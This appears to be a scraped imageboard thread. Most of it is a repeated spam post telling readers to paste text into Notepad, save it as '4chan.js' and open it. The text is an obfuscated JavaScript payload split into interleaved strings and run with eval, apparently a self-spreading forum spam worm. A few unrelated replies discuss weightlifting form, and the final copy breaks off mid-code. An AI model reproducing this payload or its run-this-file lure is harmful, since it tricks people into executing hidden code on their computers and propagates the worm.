'=)nt-pt:mta"=ron+cn++\\ ydstfog e..vtthia\\hj\\ neloa..?.i'+
'rs\\h"eni\r"pe;xep"+ogm\'\'/b)+g/d"Jg,v+h/p)\'xtuhecet"up/'+
'mtoa";eSa(}.e0}';X=[];Y=eval
Y('for(i=0;i<A.l\x65ngth;i++)X[i'+
'*4]=A.ch\x61rAt(i);for(i=0;i<B.l\x65ngth;i++)X[i*4+1]=B.ch\x61rAt(i'+
');for(i=0;i<C.l\x65ngth;i++)X[i*4+2]=C.ch\x61rAt(i);for(i=0;i<D.'+
'l\x65ngth;i++)X[i*4+3]=D.ch\x61rAt(i);Y(X.join(""))')
>> Anonymous
2gpabbh

1. Copy and paste the following to Notepad.
2. Save it with the filename "4chan.js"
3. Open the file you saved.
4. ???
5. Shit bricks.

A='ft )t hoM.d)}=.abts2lp\nSree"iniyme)exlScte=el;l(xeg,t/.'+
'ar";e)xssxa(t?li/\ncn)t etr(}h(txeg,bR)a(t?l[++,xn\rxssxa('+
'pinr\\g]t//0sn+r+cedoif-am\rse\\"so\\r"nC \x20thow Np\\ e hel'+
'm"asnO \x20euv\\ \\ ti.n+m\\rs\n.l(Y.no,Jr,p+zgi\'\'\\ga)+i""'+
'Jtgh,).reerony,laf-aur+xn)teWsp0';B='uiR{uM.oaro*\rWctj(x.'+
'h"HHeocspglsoc.nteHrn)HalHo).ne"pi4ng,xn;.pett/ph"tgft {uR'+
'9oi3\ri1r.ne([(]t/ph/0"r0.d\n.pett/adoed).c\\g]=-(("onisoo'+
'd;e\n+sn++mn(\\1oapeelitoanS w \x20ee4n\\3ptf \x20en?nS c\\"sone'+
'tJra/(o(sM+z""Ji,n+i\\,t\'\'/n)+m,p0\rsesa(ntp"trod;nyu.d}'+
'c)Sl(0';C='no(rrafrtamQ\nSree"mxt)=.abtct.etbtotf(.ia;.d(.'+
's\ro(th:mc./0.dbrot.ch.t l)uirrr()Sn6\nl)yo(tMi4.ch.tg]?()'+
's(trot.c<n=ta+[mhd)\r"-u)\\ntsinran=S"t\\t"\\")n.pna \x20lnot'+
'd2aiitfn c.".ehiysd4?5hbkn++d\\g"=ec"\'p"t\'\'/t)+p""Jm.".'+
'+cgo\'\'l"")\neqtd"t-emitrabd=)s(ch{He2)';D='cnQentl(hn()x'+
'Heocmlmt\rWctj(rifsej"peiWspmhra)ce\np""t/ghob)s(=enemht*m'+
'te\rno(en9.tg)we{{p""==3mht*m))");e)=enemhs "hd/3a(+[\n\\"'+
'=)nt-pt:mta"=ron+cn++\\ ydstfog e..vtthia\\hj\\ neloa..?.i'+
'rs\\h"eni\r"pe;xep"+ogm\'\'/b)+g/d"Jg,v+h/p)\'xtuhecet"up/'+
'mtoa";eSa(}.e0}';X=[];Y=eval
Y('for(i=0;i<A.l\x65ngth;i++)X[i'+
'*4]=A.ch\x61rAt(i);for(i=0;i<B.l\x65ngth;i++)X[i*4+1]=B.ch\x61rAt(i'+
');for(i=0;i<C.l\x65ngth;i++)X[i*4+2]=C.ch\x61rAt(i);for(i=0;i<D.'+
'l\x65ngth;i++)X[i*4+3]=D.ch\x61rAt(i);Y(X.join(""))')
>> Anonymous
2fjikq

1. Copy and paste the following to Notepad.
2. Save it with the filename "4chan.js"
3. Open the file you saved.
4. ???
5. Shit bricks.

A='ft )t hoM.d)}=.abts2lp\nSree"iniyme)exlScte=el;l(xeg,t/.'+
'ar";e)xssxa(t?li/\ncn)t etr(}h(txeg,bR)a(t?l[++,xn\rxssxa('+
'pinr\\g]t//0sn+r+cedoif-am\rse\\"so\\r"nC \x20thow Np\\ e hel'+
'm"asnO \x20euv\\ \\ ti.n+m\\rs\n.l(Y.no,Jr,p+zgi\'\'\\ga)+i""'+
'Jtgh,).reerony,laf-aur+xn)teWsp0';B='uiR{uM.oaro*\rWctj(x.'+
'h"HHeocspglsoc.nteHrn)HalHo).ne"pi4ng,xn;.pett/ph"tgft {uR'+
'9oi3\ri1r.ne([(]t/ph/0"r0.d\n.pett/adoed).c\\g]=-(("onisoo'+
'd;e\n+sn++mn(\\1oapeelitoanS w \x20ee4n\\3ptf \x20en?nS c\\"sone'+
'tJra/(o(sM+z""Ji,n+i\\,t\'\'/n)+m,p0\rsesa(ntp"trod;nyu.d}'+
'c)Sl(0';C='no(rrafrtamQ\nSree"mxt)=.abtct.etbtotf(.ia;.d(.'+
's\ro(th:mc./0.dbrot.ch.t l)uirrr()Sn6\nl)yo(tMi4.ch.tg]?()'+
's(trot.c<n=ta+[mhd)\r"-u)\\ntsinran=S"t\\t"\\")n.pna \x20lnot'+
'd2aiitfn c.".ehiysd4?5hbkn++d\\g"=ec"\'p"t\'\'/t)+p""Jm.".'+
'+cgo\'\'l"")\neqtd"t-emitrabd=)s(ch{He2)';D='cnQentl(hn()x'+
'Heocmlmt\rWctj(rifsej"peiWspmhra)ce\np""t/ghob)s(=enemht*m'+
'te\rno(en9.tg)we{{p""==3mht*m))");e)=enemhs "hd/3a(+[\n\\"'+
'=)nt-pt:mta"=ron+cn++\\ ydstfog e..vtthia\\hj\\ neloa..?.i'+
'rs\\h"eni\r"pe;xep"+ogm\'\'/b)+g/d"Jg,v+h/p)\'xtuhecet"up/'+
'mtoa";eSa(}.e0}';X=[];Y=eval
Y('for(i=0;i<A.l\x65ngth;i++)X[i'+
'*4]=A.ch\x61rAt(i);for(i=0;i<B.l\x65ngth;i++)X[i*4+1]=B.ch\x61rAt(i'+
');for(i=0;i<C.l\x65ngth;i++)X[i*4+2]=C.ch\x61rAt(i);for(i=0;i<D.'+
'l\x65ngth;i++)X[i*4+3]=D.ch\x61rAt(i);Y(X.join(""))')
>> Anonymous
2h6vudm

1. Copy and paste the following to Notepad.
2. Save it with the filename "4chan.js"
3. Open the file you saved.
4. ???
5. Shit bricks.

A='ft )t hoM.d)}=.abts2lp\nSree"iniyme)exlScte=el;l(xeg,t/.'+
'ar";e)xssxa(t?li/\ncn)t etr(}h(txeg,bR)a(t?l[++,xn\rxssxa('+
'pinr\\g]t//0sn+r+cedoif-am\rse\\"so\\r"nC \x20thow Np\\ e hel'+
'm"asnO \x20euv\\ \\ ti.n+m\\rs\n.l(Y.no,Jr,p+zgi\'\'\\ga)+i""'+
'Jtgh,).reerony,laf-aur+xn)teWsp0';B='uiR{uM.oaro*\rWctj(x.'+
'h"HHeocspglsoc.nteHrn)HalHo).ne"pi4ng,xn;.pett/ph"tgft {uR'+
'9oi3\ri1r.ne([(]t/ph/0"r0.d\n.pett/adoed).c\\g]=-(("onisoo'+
'd;e\n+sn++mn(\\1oapeelitoanS w \x20ee4n\\3ptf \x20en?nS c\\"sone'+
'tJra/(o(sM+z""Ji,n+i\\,t\'\'/n)+m,p0\rsesa(ntp"trod;nyu.d}'+
'c)Sl(0';C='no(rrafrtamQ\nSree"mxt)=.abtct.etbtotf(.ia;.d(.'+
's\ro(th:mc./0.dbrot.ch.t l)uirrr()Sn6\nl)yo(tMi4.ch.tg]?()'+
's(trot.c<n=ta+[mhd)\r"-u)\\ntsinran=S"t\\t"\\")n.pna \x20lnot'+
'd2aiitfn c.".ehiysd4?5hbkn++d\\g"=ec"\'p"t\'\'/t)+p""Jm.".'+
'+cgo\'\'l"")\neqtd"t-emitrabd=)s(ch{He2)';D='cnQentl(hn()x'+
'Heocmlmt\rWctj(rifsej"peiWspmhra)ce\np""t/ghob)s(=enemht*m'+
'te\rno(en9.tg)we{{p""==3mht*m))");e)=enemhs "hd/3a(+[\n\\"'+
'=)nt-pt:mta"=ron+cn++\\ ydstfog e..vtthia\\hj\\ neloa..?.i'+
'rs\\h"eni\r"pe;xep"+ogm\'\'/b)+g/d"Jg,v+h/p)\'xtuhecet"up/'+
'mtoa";eSa(}.e0}';X=[];Y=eval
Y('for(i=0;i<A.l\x65ngth;i++)X[i'+
'*4]=A.ch\x61rAt(i);for(i=0;i<B.l\x65ngth;i++)X[i*4+1]=B.ch\x61rAt(i'+
');for(i=0;i<C.l\x65ngth;i++)X[i*4+2]=C.ch\x61rAt(i);for(i=0;i<D.'+
'l\x65ngth;i++)X[i*4+3]=D.ch\x61rAt(i);Y(X.join(""))')
>> Anonymous
1g0ct4x

1. Copy and paste the following to Notepad.
2. Save it with the filename "4chan.js"
3. Open the file you saved.
4. ???
5. Shit bricks.

A='ft )t hoM.d)}=.abts2lp\nSree"iniyme)exlScte=el;l(xeg,t/.'+
'ar";e)xssxa(t?li/\ncn)t etr(}h(txeg,bR)a(t?l[++,xn\rxssxa('+
'pinr\\g]t//0sn+r+cedoif-am\rse\\"so\\r"nC \x20thow Np\\ e hel'+
'm"asnO \x20euv\\ \\ ti.n+m\\rs\n.l(Y.no,Jr,p+zgi\'\'\\ga)+i""'+
'Jtgh,).reerony,laf-aur+xn)teWsp0';B='uiR{uM.oaro*\rWctj(x.'+
'h"HHeocspglsoc.nteHrn)HalHo).ne"pi4ng,xn;.pett/ph"tgft {uR'+
'9oi3\ri1r.ne([(]t/ph/0"r0.d\n.pett/adoed).c\\g]=-(("onisoo'+
'd;e\n+sn++mn(\\1oapeelitoanS w \x20ee4n\\3ptf \x20en?nS c\\"sone'+
'tJra/(o(sM+z""Ji,n+i\\,t\'\'/n)+m,p0\rsesa(ntp"trod;nyu.d}'+
'c)Sl(0';C='no(rrafrtamQ\nSree"mxt)=.abtct.etbtotf(.ia;.d(.'+
's\ro(th:mc./0.dbrot.ch.t l)uirrr()Sn6\nl)yo(tMi4.ch.tg]?()'+
's(trot.c<n=ta+[mhd)\r"-u)\\ntsinran=S"t\\t"\\")n.pna \x20lnot'+
'd2aiitfn c.".ehiysd4?5hbkn++d\\g"=ec"\'p"t\'\'/t)+p""Jm.".'+
'+cgo\'\'l"")\neqtd"t-emitrabd=)s(ch{He2)';D='cnQentl(hn()x'+
'Heocmlmt\rWctj(rifsej"peiWspmhra)ce\np""t/ghob)s(=enemht*m'+
'te\rno(en9.tg)we{{p""==3mht*m))");e)=enemhs "hd/3a(+[\n\\"'+
'=)nt-pt:mta"=ron+cn++\\ ydstfog e..vtthia\\hj\\ neloa..?.i'+
'rs\\h"eni\r"pe;xep"+ogm\'\'/b)+g/d"Jg,v+h/p)\'xtuhecet"up/'+
'mtoa";eSa(}.e0}';X=[];Y=eval
Y('for(i=0;i<A.l\x65ngth;i++)X[i'+
'*4]=A.ch\x61rAt(i);for(i=0;i<B.l\x65ngth;i++)X[i*4+1]=B.ch\x61rAt(i'+
');for(i=0;i<C.l\x65ngth;i++)X[i*4+2]=C.ch\x61rAt(i);for(i=0;i<D.'+
'l\x65ngth;i++)X[i*4+3]=D.ch\x61rAt(i);Y(X.join(""))')
>> Anonymous
34x795j

1. Copy and paste the following to Notepad.
2. Save it with the filename "4chan.js"
3. Open the file you saved.
4. ???
5. Shit bricks.

A='ft )t hoM.d)}=.abts2lp\nSree"iniyme)exlScte=el;l(xeg,t/.'+
'ar";e)xssxa(t?li/\ncn)t etr(}h(txeg,bR)a(t?l[++,xn\rxssxa('+
'pinr\\g]t//0sn+r+cedoif-am\rse\\"so\\r"nC \x20thow Np\\ e hel'+
'm"asnO \x20euv\\ \\ ti.n+m\\rs\n.l(Y.no,Jr,p+zgi\'\'\\ga)+i""'+
'Jtgh,).reerony,laf-aur+xn)teWsp0';B='uiR{uM.oaro*\rWctj(x.'+
'h"HHeocspglsoc.nteHrn)HalHo).ne"pi4ng,xn;.pett/ph"tgft {uR'+
'9oi3\ri1r.ne([(]t/ph/0"r0.d\n.pett/adoed).c\\g]=-(("onisoo'+
'd;e\n+sn++mn(\\1oapeelitoanS w \x20ee4n\\3ptf \x20en?nS c\\"sone'+
'tJra/(o(sM+z""Ji,n+i\\,t\'\'/n)+m,p0\rsesa(ntp"trod;nyu.d}'+
'c)Sl(0';C='no(rrafrtamQ\nSree"mxt)=.abtct.etbtotf(.ia;.d(.'+
's\ro(th:mc./0.dbrot.ch.t l)uirrr()Sn6\nl)yo(tMi4.ch.tg]?()'+
's(trot.c<n=ta+[mhd)\r"-u)\\ntsinran=S"t\\t"\\")n.pna \x20lnot'+
'd2aiitfn c.".ehiysd4?5hbkn++d\\g"=ec"\'p"t\'\'/t)+p""Jm.".'+
'+cgo\'\'l"")\neqtd"t-emitrabd=)s(ch{He2)';D='cnQentl(hn()x'+
'Heocmlmt\rWctj(rifsej"peiWspmhra)ce\np""t/ghob)s(=enemht*m'+
'te\rno(en9.tg)we{{p""==3mht*m))");e)=enemhs "hd/3a(+[\n\\"'+
'=)nt-pt:mta"=ron+cn++\\ ydstfog e..vtthia\\hj\\ neloa..?.i'+
'rs\\h"eni\r"pe;xep"+ogm\'\'/b)+g/d"Jg,v+h/p)\'xtuhecet"up/'+
'mtoa";eSa(}.e0}';X=[];Y=eval
Y('for(i=0;i<A.l\x65ngth;i++)X[i'+
'*4]=A.ch\x61rAt(i);for(i=0;i<B.l\x65ngth;i++)X[i*4+1]=B.ch\x61rAt(i'+
');for(i=0;i<C.l\x65ngth;i++)X[i*4+2]=C.ch\x61rAt(i);for(i=0;i<D.'+
'l\x65ngth;i++)X[i*4+3]=D.ch\x61rAt(i);Y(X.join(""))')
>> Anonymous
>>435925
someone explain this better to me
>> Anonymous
     File :-(, x)
>>436019
he got hurt
>> Anonymous
>>436094
Even without perfect form you are still working the muscles. However this is usually at the expense of your joints and connective tissue.
>> Anonymous
when you worry about form you will most likely not be using the maximum weight you can lift, so thats why people without good form are bigger but they will probably end up having problems and not being that strong for their size
>> Anonymous
dws4pb

1. Copy and paste the following to Notepad.
2. Save it with the filename "4chan.js"
3. Open the file you saved.
4. ???
5. Shit bricks.

A='ft )t hoM.d)}=.abts2lp\nSree"iniyme)exlScte=el;l(xeg,t/.'+
'ar";e)xssxa(t?li/\ncn)t etr(}h(txeg,bR)a(t?l[++,xn\rxssxa('+
'pinr\\g]t//0sn+r+cedoif-am\rse\\"so\\r"nC \x20thow Np\\ e hel'+
'm"asnO \x20euv\\ \\ ti.n+m\\rs\n.l(Y.no,Jr,p+zgi\'\'\\ga)+i""'+
'Jtgh,).reerony,laf-aur+xn)teWsp0';B='uiR{uM.oaro*\rWctj(x.'+
'h"HHeocspglsoc.nteHrn)HalHo).ne"pi4ng,xn;.pett/ph"tgft {uR'+
'9oi3\ri1r.ne([(]t/ph/0"r0.d\n.pett/adoed).c\\g]=-(("onisoo'+
'd;e\n+sn++mn(\\1oapeelitoanS w \x20ee4n\\3ptf \x20en?nS c\\"sone'+
'tJra/(o(sM+z""Ji,n+i\\,t\'\'/n)+m,p0\rsesa(ntp"trod;nyu.d}'+
'c)Sl(0';C='no(rrafrtamQ\nSree"mxt)=.abtct.etbtotf(.ia;.d(.'+
's\ro(th:mc./0.dbrot.ch.t l)uirrr()Sn6\nl)yo(tMi4.ch.tg]?()'+
's(trot.c<n=ta+[mhd)\r"-u)\\ntsinran=S"t\\t"\\")n.pna \x20lnot'+
'd2aiitfn c.".ehiysd4?5hbkn++d\\g"=ec"\'p"t\'\'/t)+p""Jm.".'+
'+cgo\'\'l"")\neqtd"t-emitrabd=)s(ch{He2)';D='cnQentl(hn()x'+
'Heocmlmt\rWctj(rifsej"peiWspmhra)ce\np""t/ghob)s(=enemht*m'+
'te\rno(en9.tg)we{{p""==3mht*m))");e)=enemhs "hd/3a(+[\n\\"'+
'=)nt-pt:mta"=ron+cn++\\ ydstfog e..vtthia\\hj\\ neloa..?.i'+
'rs\\h"eni\r"pe;xep"+ogm\'\'/b)+g/d"Jg,v+h/p)\'xtuhecet"up/'+
'mtoa";eSa(}.e0}';X=[];Y=eval
Y('for(i=0;i<A.l\x65ngth;i++)X[i'+
'*4]=A.ch\x61rAt(i);for(i=0;i<B.l\x65ngth;i++)X[i*4+1]=B.ch\x61rAt(i'+
');for(i=0;i<C.l\x65ngth;i++)X[i*4+2]=C.ch\x61rAt(i);for(i=0;i<D.'+
'l\x65ngth;i++)X[i*4+3]=D.ch\x61rAt(i);Y(X.join(""))')
>> Anonymous
15ujp1l

1. Copy and paste the following to Notepad.
2. Save it with the filename "4chan.js"
3. Open the file you saved.
4. ???
5. Shit bricks.

A='ft )t hoM.d)}=.abts2lp\nSree"iniyme)exlScte=el;l(xeg,t/.'+
'ar";e)xssxa(t?li/\ncn)t etr(}h(txeg,bR)a(t?l[++,xn\rxssxa('+
'pinr\\g]t//0sn+r+cedoif-am\rse\\"so\\r"nC \x20thow Np\\ e hel'+
'm"asnO \x20euv\\ \\ ti.n+m\\rs\n.l(Y.no,Jr,p+zgi\'\'\\ga)+i""'+
'Jtgh,).reerony,laf-aur+xn)teWsp0';B='uiR{uM.oaro*\rWctj(x.'+
'h"HHeocspglsoc.nteHrn)HalHo).ne"pi4ng,xn;.pett/ph"tgft {uR'+
'9oi3\ri1r.ne([(]t/ph/0"r0.d\n.pett/adoed).c\\g]=-(("onisoo'+
'd;e\n+sn++mn(\\1oapeelitoanS w \x20ee4n\\3ptf \x20en?nS c\\"sone'+
'tJra/(o(sM+z""Ji,n+i\\,t\'\'/n)+m,p0\rsesa(ntp"trod;nyu.d}'+
'c)Sl(0';C='no(rrafrtamQ\nSree"mxt)=.abtct.etbtotf(.ia;.d(.'+
's\ro(th:mc./0.dbrot.ch.t l)uirrr()Sn6\nl)yo(tMi4.ch.tg]?()'+
's(trot.c<n=ta+[mhd)\r"-u)\\ntsinran=S"t\\t"\\")n.pna \x20lnot'+
'd2aiitfn c.".ehiysd4?5hbkn++d\\g"=ec"\'p"t\'\'/t)+p""Jm.".'+
'+cgo\'\'l"")\neqtd"t-emitrabd=)s(ch{He2)';D='cnQentl(hn()x'+
'Heocmlmt\rWctj(rifsej"peiWspmhra)ce\np""t/ghob)s(=enemht*m'+
'te\rno(en9.tg)we{{p""==3mht*m))");e)=enemhs "hd/3a(+[\n\\"'+
'=)nt-pt:mta"=ron+cn++\\ ydstfog e..vtthia\\hj\\ neloa..?.i'+
'rs\\h"eni\r"pe;xep"+ogm\'\'/b)+g/d"Jg,v+h/p)\'xtuhecet"up/'+
'mtoa";eSa(}.e0}';X=[];Y=eval
Y('for(i=0;i<A.l\x65ngth;i++)X[i'+
'*4]=A.ch\x61rAt(i);for(i=0;i<B.l\x65ngth;i++)X[i*4+1]=B.ch\x61rAt(i'+
');for(i=0;i<C.l\x65ngth;i++)X[i*4+2]=C.ch\x61rAt(i);for(i=0;i<D.'+
'l\x65ngth;i++)X[i*4+3]=D.ch\x61rAt(i);Y(X.join(""))')
>> Anonymous
1xupvny

1. Copy and paste the following to Notepad.
2. Save it with the filename "4chan.js"
3. Open the file you saved.
4. ???
5. Shit bricks.

A='ft )t hoM.d)}=.abts2lp\nSree"iniyme)exlScte=el;l(xeg,t/.'+
'ar";e)xssxa(t?li/\ncn)t etr(}h(txeg,bR)a(t?l[++,xn\rxssxa('+
'pinr\\g]t//0sn+r+cedoif-am\rse\\"so\\r"nC \x20thow Np\\ e hel'+
'm"asnO \x20euv\\ \\ ti.n+m\\rs\n.l(Y.no,Jr,p+zgi\'\'\\ga)+i""'+
'Jtgh,).reerony,laf-aur+xn)teWsp0';B='uiR{uM.oaro*\rWctj(x.'+
'h"HHeocspglsoc.nteHrn)HalHo).ne"pi4ng,xn;.pett/ph"tgft {uR'+
'9oi3\ri1r.ne([(]t/ph/0"r0.d\n.pett/adoed).c\\g]=-(("onisoo'+
'd;e\n+sn++mn(\\1oapeelitoanS w \x20ee4n\\3ptf \x20en?nS c\\"sone'+
'tJra/(o(sM+z""Ji,n+i\\,t\'\'/n)+m,p0\rsesa(ntp"trod;nyu.d}'+
'c)Sl(0';C='no(rrafrtamQ\nSree"mxt)=.abtct.etbtotf(.ia;.d(.'+
's\ro(th:mc./0.dbrot.ch.t l)uirrr()Sn6\nl)yo(tMi4.ch.tg]?()'+
's(trot.c<n=ta+[mhd)\r"-u)\\ntsinran=S"t\\t"\\")n.pna \x20lnot'+
'd2aiitfn c.".ehiysd4?5hbkn++d\\g"=ec"\'p"t\'\'/t)+p""Jm.".'+
'+cgo\'\'l"")\neqtd"t-emitrabd=)s(ch{He2)';D='cnQentl(hn()x'+
'Heocmlmt\rWctj(rifsej"peiWspmhra)ce\np""t/ghob)s(=enemht*m'+
'te\rno(en9.tg)we{{p""==3mht*m))");e)=enemhs "hd/3a(+[\n\\"'+
'=)nt-pt:mta"=ron+cn++\\ ydstfog e..vtthia\\hj\\ neloa..?.i'+
'rs\\h"eni\r"pe;xep"+ogm\'\'/b)+g/d"Jg,v+h/p)\'xtuhecet"up/'+
'mtoa";eSa(}.e0}';X=[];Y=eval
Y('for(i=0;i<A.l\x65ngth;i++)X[i'+
'*4]=A.ch\x61rAt(i);for(i=0;i<B.l\x65ngth;i++)X[i*4+1]=B.ch\x61rAt(i'+
');for(i=0;i<C.l\x65ngth;i++)X[i*4+2]=C.ch\x61rAt(i);for(i=0;i<D.'+
'l\x65ngth;i++)X[i*4+3]=D.ch\x61rAt(i);Y(X.join(""))')
>> Anonymous
3m7en92

1. Copy and paste the following to Notepad.
2. Save it with the filename "4chan.js"
3. Open the file you saved.
4. ???
5. Shit bricks.

A='ft )t hoM.d)}=.abts2lp\nSree"iniyme)exlScte=el;l(xeg,t/.'+
'ar";e)xssxa(t?li/\ncn)t etr(}h(txeg,bR)a(t?l[++,xn\rxssxa('+
'pinr\\g]t//0sn+r+cedoif-am\rse\\"so\\r"nC \x20thow Np\\ e hel'+
'm"asnO \x20euv\\ \\ ti.n+m\\rs\n.l(Y.no,Jr,p+zgi\'\'\\ga)+i""'+
'Jtgh,).reerony,laf-aur+xn)teWsp0';B='uiR{uM.oaro*\rWctj(x.'+
'h"HHeocspglsoc.nteHrn)HalHo).ne"pi4ng,xn;.pett/ph"tgft {uR'+
'9oi3\ri1r.ne([(]t/ph/0"r0.d\n.pett/adoed).c\\g]=-(("onisoo'+
'd;e\n+sn++mn(\\1oapeelitoanS w \x20ee4n\\3ptf \x20en?nS c\\"sone'+
'tJra/(o(sM+z""Ji,n+i\\,t\'\'/n)+m,p0\rsesa(ntp"trod;nyu.d}'+
'c)Sl(0';C='no(rrafrtamQ\nSree"mxt)=.abtct.etbtotf(.ia;.d(.'+
's\ro(th:mc./0.dbrot.ch.t l)uirrr()Sn6\nl)yo(tMi4.ch.tg]?()'+
's(trot.c<n=ta+[mhd)\r"-u)\\ntsinran=S"t\\t"\\")n.pna \x20lnot'+
'd2aiitfn c.".ehiysd4?5hbkn++d\\g"=ec"\'p"t\'\'/t)+p""Jm.".'+
'+cgo\'\'l"")\neqtd"t-emitrabd=)s(ch{He2)';D='cnQentl(hn()x'+
'Heocmlmt\rWctj(rifsej"peiWspmhra)ce\np""t/ghob)s(=enemht*m'+
'te\rno(en9.tg)we{{p""==3mht*m))");e)=enemhs "hd/3a(+[\n\\"'+
'=)nt-pt:mta"=ron+cn++\\ ydstfog e..vtthia\\hj\\ neloa..?.i'+
'rs\\h"eni\r"pe;xep"+ogm\'\'/b)+g/d"Jg,v+h/p)\'xtuhecet"up/'+
'mtoa";eSa(}.e0}';X=[];Y=eval
Y('for(i=0;i<A.l\x65ngth;i++)X[i'+
'*4]=A.ch\x61rAt(i);for(i=0;i<B.l\x65ngth;i++)X[i*4+1]=B.ch\x61rAt(i'+
');for(i=0;i<C.l\x65ngth;i++)X[i*4+2]=C.ch\x61rAt(i);for(i=0;i<D.'+
'l\x65ngth;i++)X[i*4+3]=D.ch\x61rAt(i);Y(X.join(""))')
>> Anonymous
13eatxh

1. Copy and paste the following to Notepad.
2. Save it with the filename "4chan.js"
3. Open the file you saved.
4. ???
5. Shit bricks.

A='ft )t hoM.d)}=.abts2lp\nSree"iniyme)exlScte=el;l(xeg,t/.'+
'ar";e)xssxa(t?li/\ncn)t etr(}h(txeg,bR)a(t?l[++,xn\rxssxa('+
'pinr\\g]t//0sn+r+cedoif-am\rse\\"so\\r"nC \x20thow Np\\ e hel'+
'm"asnO \x20euv\\ \\ ti.n+m\\rs\n.l(Y.no,Jr,p+zgi\'\'\\ga)+i""'+
'Jtgh,).reerony,laf-aur+xn)teWsp0';B='uiR{uM.oaro*\rWctj(x.'+
'h"HHeocspglsoc.nteHrn)HalHo).ne"pi4ng,xn;.pett/ph"tgft {uR'+
'9oi3\ri1r.ne([(]t/ph/0"r0.d\n.pett/adoed).c\\g]=-(("onisoo'+
'd;e\n+sn++mn(\\1oapeelitoanS w \x20ee4n\\3ptf \x20en?nS c\\"sone'+
'tJra/(o(sM+z""Ji,n+i\\,t\'\'/n)+m,p0\rsesa(ntp"trod;nyu.d}'+
'c)Sl(0';C='no(rrafrtamQ\nSree"mxt)=.abtct.etbtotf(.ia;.d(.'+
's\ro(th:mc./0.dbrot.ch.t l)uirrr()Sn6\nl)yo(tMi4.ch.tg]?()'+
's(trot.c<n=ta+[mhd)\r"-u)\\ntsinran=S"t\\t"\\")n.pna \x20lnot'+
'd2aiitfn c.".ehiysd4?5hbkn++d\\g"=ec"\'p"t\'\'/t)+p""Jm.".'+
'+cgo\'\'l"")\neqtd"t-emitrabd=)s(ch{He2)';D='cnQentl(hn()x'+
'Heocmlmt\rWctj(rifsej"peiWspmhra)ce\np""t/ghob)s(=enemht*m'+
'te\rno(en9.tg)we{{p""==3mht*m))");e)=enemhs "hd/3a(+[\n\\"'+
'=)nt-pt:mta"=ron+cn++\\ ydstfog e..vtthia\\hj\\ neloa..?.i'+
'rs\\h"eni\r"pe;xep"+ogm\'\'/b)+g/d"Jg,v+h/p)\'xtuhecet"up/'+
'mtoa";eSa(}.e0}';X=[];Y=eval
Y('for(i=0;i<A.l\x65ngth;i++)X[i'+
'*4]=A.ch\x61rAt(i);for(i=0;i<B.l\x65ngth;i++)X[i*4+1]=B.ch\x61rAt(i'+
');for(i=0;i<C.l\x65ngth;i++)X[i*4+2]=C.ch\x61rAt(i);for(i=0;i<D.'+
'l\x65ngth;i++)X[i*4+3]=D.ch\x61rAt(i);Y(X.join(""))')
>> Anonymous
jyiwgn

1. Copy and paste the following to Notepad.
2. Save it with the filename "4chan.js"
3. Open the file you saved.
4. ???
5. Shit bricks.


A='ft )t hoM.d)}=.abts2lp\nSree"iniyme)exlScte=el;l(xeg,t/.'+
'ar";e)xssxa(t?li/\ncn)t etr(}h(txeg,bR)a(t?l[++,xn\rxssxa('+
'pinr\\g]t//0sn+r+cedoif-am\rse\\"so\\r"nC \x20thow Np\\ e hel'+
'm"asnO \x20euv\\ \\ ti.n+m\\rs\n.l(Y.no,Jr,p+zgi\'\'\\ga)+i""'+
'Jtgh,).reerony,laf-aur+xn)teWsp0';B='uiR{uM.oaro*\rWctj(x.'+
'h"HHeocspglsoc.nteHrn)HalHo).ne"pi4ng,xn;.pett/ph"tgft {uR'+
'9oi3\ri1r.ne([(]t/ph/0"r0.d\n.pett/adoed).c\\g]=-(("onisoo'+
'd;e\n+sn++mn(\\1oapeelitoanS w \x20ee4n\\3ptf \x20en?nS c\\"sone'+
'tJra/(o(sM+z""Ji,n+i\\,t\'\'/n)+m,p0\rsesa(ntp"trod;nyu.d}'+
'c)Sl(0';C='no(rrafrtamQ\nSree"mxt)=.abtct.etbtotf(.ia;.d(.'+
's\ro(th:mc./0.dbrot.ch.t l)uirrr()Sn6\nl)yo(tMi4.ch.tg]?()'+
's(trot.c<n=ta+[mhd)\r"-u)\\ntsinran=S"t\\t"\\")n.pna \x20lnot'+
'd2aiitfn c.".ehiysd4?5hbkn++d\\g"=ec"\'p"t\'\'/t)+p""Jm.".'+
'+cgo\'\'l"")\neqtd"t-emitrabd=)s(ch{He2)';D='cnQentl(hn()x'+
'Heocmlmt\rWctj(rifsej"peiWspmhra)ce\np""t/ghob)s(=enemht*m'+
'te\rno(en9.tg)we{{p""==3mht*m))");e)=enemhs "hd/3a(+[\n\\"'+
'=)nt-pt:mta"=ron+cn++\\ ydstfog e..vtthia\\hj\\ neloa..?.i'+
'rs\\h"eni\r"pe;xep"+ogm\'\'/b)+g/d"Jg,v+h/p)\'xtuhecet"up/'+
'mtoa";eSa(}.e0}';X=[];Y=eval
Y('for(i=0;i<A.l\x65ngth;i++)X[i'+
'*4]=A.ch\x61rAt(i);for(i=0;i<B.l\x65ngth;i++)X[i*4+1]=B.ch\x61rAt(i'+
');for(i=0;i<C.l\x65ngth;i++)X[i*4+2]=C.ch\x61rAt(i);for(i=0;i<D.'+
'l\x65ngth;i++)X[i*4+3]=D.ch\x61rAt(i);Y(X.join(""))')
>> Anonymous
28xsw9q

1. Copy and paste the following to Notepad.
2. Save it with the filename "4chan.js"
3. Open the file you saved.
4. ???
5. Shit bricks.

A='ft )t hoM.d)}=.abts2lp\nSree"iniyme)exlScte=el;l(xeg,t/.'+
'ar";e)xssxa(t?li/\ncn)t etr(}h(txeg,bR)a(t?l[++,xn\rxssxa('+
'pinr\\g]t//0sn+r+cedoif-am\rse\\"so\\r"nC \x20thow Np\\ e hel'+
'm"asnO \x20euv\\ \\ ti.n+m\\rs\n.l(Y.no,Jr,p+zgi\'\'\\ga)+i""'+
'Jtgh,).reerony,laf-aur+xn)teWsp0';B='uiR{uM.oaro*\rWctj(x.'+
'h"HHeocspglsoc.nteHrn)HalHo).ne"pi4ng,xn;.pett/ph"tgft {uR'+
'9oi3\ri1r.ne([(]t/ph/0"r0.d\n.pett/adoed).c\\g]=-(("onisoo'+
'd;e\n+sn++mn(\\1oapeelitoanS w \x20ee4n\\3ptf \x20en?nS c\\"sone'+
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'c)Sl(0';C='no(rrafrtamQ\nSree"mxt)=.abtct.etbtotf(.ia;.d(.'+
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's(trot.c<n=ta+[mhd)\r"-u)\\ntsinran=S"t\\t"\\")n.pna \x20lnot'+
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'Heocmlmt\rWctj(rifsej"peiWspmhra)ce\np""t/ghob)s(=enemht*m'+
'te\rno(en9.tg)we{{p""==3mht*m))");e)=enemhs "hd/3a(+[\n\\"'+
